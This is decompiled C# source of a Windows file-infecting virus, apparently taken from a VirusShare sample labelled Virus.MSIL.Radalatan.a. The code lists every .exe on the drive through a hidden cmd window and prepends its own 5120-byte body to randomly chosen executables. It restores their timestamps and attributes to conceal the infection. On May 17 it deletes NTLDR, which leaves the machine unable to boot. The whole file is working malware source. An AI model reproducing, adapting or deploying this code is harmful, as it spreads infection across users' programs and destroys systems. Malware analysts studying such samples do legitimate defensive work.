// Decompiled with JetBrains decompiler
// Type: V1.AT
// Assembly: V1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 75B1FFE9-190F-41EC-A0FC-C0D6E565045F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.MSIL.Radalatan.a-d571d0a027abe052fac96d24ed62862eaec85ae17dc1a2a1294afbd91def7f3a.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Diagnostics;
using System.IO;
using System.Windows.Forms;

namespace V1
{
  [StandardModule]
  internal sealed class AT
  {
    [STAThread]
    public static void Main()
    {
      byte[] array1 = new byte[5120];
      byte[] array2 = new byte[5120];
      string executablePath = Application.ExecutablePath;
      Process Expression;
      try
      {
        FileStream fileStream1 = new FileStream(executablePath, FileMode.Open, FileAccess.Read);
        fileStream1.Read(array1, 0, 5120);
        if (new FileInfo(executablePath).Length >= 10240L)
        {
          try
          {
            fileStream1.Seek(-5120L, SeekOrigin.End);
            fileStream1.Read(array2, 0, 5120);
            fileStream1.Close();
            while (true)
            {
              string tempFileName = Path.GetTempFileName();
              try
              {
                FileSystem.Kill(tempFileName);
              }
              catch (Exception ex)
              {
                ProjectData.SetProjectError(ex);
                ProjectData.ClearProjectError();
              }
              string str = StringType.FromObject(ObjectType.StrCatObj(ObjectType.StrCatObj(ObjectType.StrCatObj((object) Path.GetDirectoryName(executablePath), Interaction.IIf(StringType.StrCmp(Strings.Right(Path.GetDirectoryName(executablePath), 1), "\\", false) == 0, (object) "", (object) "\\")), (object) Path.GetFileNameWithoutExtension(tempFileName)), (object) ".EXE"));
              try
              {
                FileSystem.SetAttr(str, FileAttribute.Normal);
              }
              catch (Exception ex)
              {
                ProjectData.SetProjectError(ex);
                ProjectData.ClearProjectError();
              }
              try
              {
                File.Copy(executablePath, str, true);
                FileStream fileStream2 = new FileStream(str, FileMode.Open, FileAccess.Write);
                fileStream2.Write(array2, 0, 5120);
                fileStream2.Close();
                Expression = Process.Start(str, Interaction.Command());
                break;
              }
              catch (Exception ex)
              {
                ProjectData.SetProjectError(ex);
                int num;
                if (num < 10)
                {
                  checked { ++num; }
                  ProjectData.ClearProjectError();
                }
                else
                {
                  ProjectData.ClearProjectError();
                  break;
                }
              }
            }
          }
          catch (Exception ex)
          {
            ProjectData.SetProjectError(ex);
            ProjectData.ClearProjectError();
          }
        }
        else
          fileStream1.Close();
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.EndApp();
        ProjectData.ClearProjectError();
      }
      string tempFileName1;
      string[] strArray;
      try
      {
        tempFileName1 = Path.GetTempFileName();
        Process process = new Process();
        ProcessStartInfo startInfo = process.StartInfo;
        startInfo.FileName = "Cmd.exe";
        startInfo.Arguments = "/c dir \\*.exe /s/b/a-d >" + tempFileName1;
        startInfo.WindowStyle = ProcessWindowStyle.Hidden;
        process.Start();
        process.WaitForExit();
        StreamReader streamReader = new StreamReader(tempFileName1);
        strArray = streamReader.ReadToEnd().Split('\r');
        streamReader.Close();
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
        goto label_38;
      }
      try
      {
        File.Create(tempFileName1).Close();
        FileSystem.Kill(tempFileName1);
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      VBMath.Randomize();
      int num1 = 0;
      int num2 = checked ((int) Math.Round((double) Conversion.Int(unchecked (VBMath.Rnd() * 25f))));
      int num3 = 0;
      while (num3 <= num2)
      {
        try
        {
          FileInfo fileInfo = new FileInfo(Strings.Mid(strArray[checked ((int) Math.Round((double) Conversion.Int(unchecked (VBMath.Rnd() * (float) strArray.Length))))], 2));
          if (fileInfo.Length >= 5120L)
          {
            byte attr = checked ((byte) (uint) FileSystem.GetAttr(fileInfo.FullName));
            DateTime creationTime = fileInfo.CreationTime;
            DateTime lastAccessTime = fileInfo.LastAccessTime;
            DateTime lastWriteTime = fileInfo.LastWriteTime;
            FileSystem.SetAttr(fileInfo.FullName, FileAttribute.Normal);
            FileStream fileStream = new FileStream(fileInfo.FullName, FileMode.Open, FileAccess.ReadWrite);
            fileStream.Read(array2, 0, 5120);
            if (StringType.StrCmp(BitConverter.ToString(array2), BitConverter.ToString(array1), false) != 0)
            {
              fileStream.Seek(0L, SeekOrigin.Begin);
              fileStream.Write(array1, 0, 5120);
              fileStream.Seek(0L, SeekOrigin.End);
              fileStream.Write(array2, 0, 5120);
            }
            else if (num1 < 30)
            {
              checked { --num3; }
              checked { ++num1; }
            }
            else
              break;
            fileStream.Close();
            FileSystem.SetAttr(fileInfo.FullName, (FileAttribute) attr);
            fileInfo.CreationTime = creationTime;
            fileInfo.LastAccessTime = lastAccessTime;
            fileInfo.LastWriteTime = lastWriteTime;
          }
          else if (num1 < 30)
          {
            checked { --num3; }
            checked { ++num1; }
          }
          else
            break;
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          if (num1 < 30)
          {
            checked { --num3; }
            checked { ++num1; }
            ProjectData.ClearProjectError();
          }
          else
          {
            ProjectData.ClearProjectError();
            break;
          }
        }
        checked { ++num3; }
      }
label_38:
      if (!Information.IsNothing((object) Expression))
      {
        ProcessStartInfo startInfo = Expression.StartInfo;
        try
        {
          Expression.WaitForExit();
          FileSystem.SetAttr(startInfo.FileName, FileAttribute.Normal);
          File.Create(startInfo.FileName).Close();
          FileSystem.Kill(startInfo.FileName);
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          ProjectData.ClearProjectError();
        }
      }
      DateTime today = DateTime.Today;
      if (today.Month != 5)
        return;
      if (today.Day != 17)
        return;
      try
      {
        string str = Strings.Left(Environment.SystemDirectory, 3) + "NTLDR";
        FileSystem.SetAttr(str, FileAttribute.Normal);
        File.Create(str).Close();
        FileSystem.Kill(str);
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
    }
  }
}
